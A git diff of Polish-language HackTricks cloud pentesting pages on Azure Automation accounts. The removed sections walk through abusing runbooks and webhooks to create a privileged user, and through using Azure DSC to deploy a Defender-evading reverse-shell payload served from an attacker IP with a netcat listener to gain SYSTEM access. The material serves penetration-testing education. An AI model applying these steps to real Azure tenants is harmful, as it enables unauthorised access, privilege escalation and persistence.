-ResourceGroupName $ResourceGroupName -$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -start-sleep 20 -($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt -``` -> [!NOTE] -> Możesz zrobić to samo, modyfikując istniejący Run Book i z konsoli internetowej. - -### Kroki do skonfigurowania automatycznego tworzenia użytkownika z wysokimi uprawnieniami - -#### 1. Zainicjuj konto automatyzacji - -- **Wymagana akcja:** Utwórz nowe konto automatyzacji. -- **Specyficzne ustawienie:** Upewnij się, że "Utwórz konto Azure Run As" jest włączone. - -#### 2. Importuj i skonfiguruj Runbook - -- **Źródło:** Pobierz przykładowy runbook z [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst). -- **Wymagane akcje:** -- Importuj runbook do konta automatyzacji. -- Opublikuj runbook, aby był wykonywalny. -- Dołącz webhook do runbooka, umożliwiając zewnętrzne wyzwalacze. - -#### 3. Skonfiguruj moduł AzureAD - -- **Wymagana akcja:** Dodaj moduł AzureAD do konta automatyzacji. -- **Dodatkowy krok:** Upewnij się, że wszystkie moduły automatyzacji Azure są zaktualizowane do najnowszych wersji. - -#### 4. Przydzielanie uprawnień - -- **Role do przydzielenia:** -- Administrator użytkowników -- Właściciel subskrypcji -- **Cel:** Przydziel te role do konta automatyzacji w celu uzyskania niezbędnych uprawnień. - -#### 5. Świadomość potencjalnej utraty dostępu - -- **Uwaga:** Bądź świadomy, że skonfigurowanie takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją. - -#### 6. Wyzwól tworzenie użytkownika - -- Wyzwól webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST. -- Użyj dostarczonego skryptu PowerShell, upewniając się, że zastępujesz `$uri` swoim rzeczywistym adresem URL webhooka i aktualizujesz `$AccountInfo` pożądanym nazwą użytkownika i hasłem. -```powershell -$uri = "" -$AccountInfo = @(@{RequestBody=@{Username="";Password=""}}) -$body = ConvertTo-Json -InputObject $AccountInfo -$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body -``` -## Odniesienia - -- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) -- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) -- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md deleted file mode 100644 index b872cb38d..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md +++ /dev/null @@ -1,57 +0,0 @@ -# Az - State Configuration RCE - -{{#include ../../../../banners/hacktricks-training.md}} - -**Sprawdź pełny post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - -### Podsumowanie przygotowania infrastruktury serwera zdalnego (C2) i kroków - -#### Przegląd - -Proces polega na skonfigurowaniu infrastruktury serwera zdalnego do hostowania zmodyfikowanego ładunku Nishang `Invoke-PowerShellTcp.ps1`, nazwanego `RevPS.ps1`, zaprojektowanego w celu ominięcia Windows Defender. Ładunek jest serwowany z maszyny Kali Linux o IP `40.84.7.74` przy użyciu prostego serwera HTTP w Pythonie. Operacja jest realizowana w kilku krokach: - -#### Krok 1 — Utwórz pliki - -- **Wymagane pliki:** Potrzebne są dwa skrypty PowerShell: -1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -- **Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku. - -#### Krok 2 — Spakuj plik konfiguracyjny - -- Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Azure Storage Account. -```powershell -Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip -``` -#### Krok 3 — Ustaw kontekst przechowywania i przesyłanie - -- Zszyfrowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent z Azure. -```powershell -Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx -``` -#### Krok 4 — Przygotowanie Kali Box - -- Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub. -```bash -wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 -``` -- Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki. - -#### Krok 5 — Publikacja pliku konfiguracyjnego - -- Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows. - -#### Krok 6 — Hostowanie ładunku i ustawienie nasłuchu - -- Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń. -```bash -sudo python -m SimpleHTTPServer 80 -sudo nc -nlvp 443 -``` -- Zaplanowane zadanie wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM. - -#### Wnioski - -Pomyślne wykonanie tego procesu otwiera liczne możliwości dalszych działań, takich jak zrzut poświadczeń lub rozszerzenie ataku na wiele maszyn wirtualnych. Przewodnik zachęca do dalszej nauki i kreatywności w dziedzinie Azure Automation DSC. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md new file mode 100644 index 000000000..2368f73af --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -0,0 +1,227 @@ +# Az - Konta Automatyzacji + +{{#include ../../../../banners/hacktricks-training.md}} + +## Podstawowe Informacje + +Konta Automatyzacji Azure to usługi w chmurze w Microsoft Azure, które pomagają **automatyzować zadania** takie jak zarządzanie zasobami, konfiguracja i aktualizacje w środowiskach Azure i lokalnych. Oferują **Runbooki** (skrypty do automatyzacji, które są wykonywane), **harmonogramy** oraz **grupy pracowników hybrydowych** do uruchamiania automatycznych **zadań**, umożliwiając infrastrukturę jako kod (IaC) oraz automatyzację procesów w celu poprawy efektywności i spójności w zarządzaniu zasobami chmurowymi. + +### Ustawienia + +- **Poświadczenia**: Hasło jest dostępne tylko w runbooku wewnątrz konta automatyzacji, służą do **bezpiecznego przechowywania nazw użytkowników i haseł**. +- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w zaszyfrowanej formie**, jest dostępna tylko w runbooku wewnątrz konta automatyzacji. +- **Certyfikaty**: Służą do przechowywania **certyfikatów**, które mogą być używane w runbookach. +- **Połączenia**: Służą do przechowywania **informacji o połączeniach** z zewnętrznymi usługami. Mogą zawierać **wrażliwe informacje**. +- **Dostęp do sieci**: Może być ustawiony na **publiczny** lub **prywatny**. + +## Runbooki i Zadania + +Runbook w Azure Automation to **skrypt, który automatycznie wykonuje zadania** w Twoim środowisku chmurowym. Runbooki mogą być pisane w PowerShell, Pythonie lub edytorach graficznych. Pomagają automatyzować zadania administracyjne, takie jak zarządzanie VM, łatanie lub kontrole zgodności. + +W **kodzie** znajdującym się w **Runbookach** mogą znajdować się **wrażliwe informacje** (takie jak poświadczenia). + +Przejdź do `Automation Accounts` --> `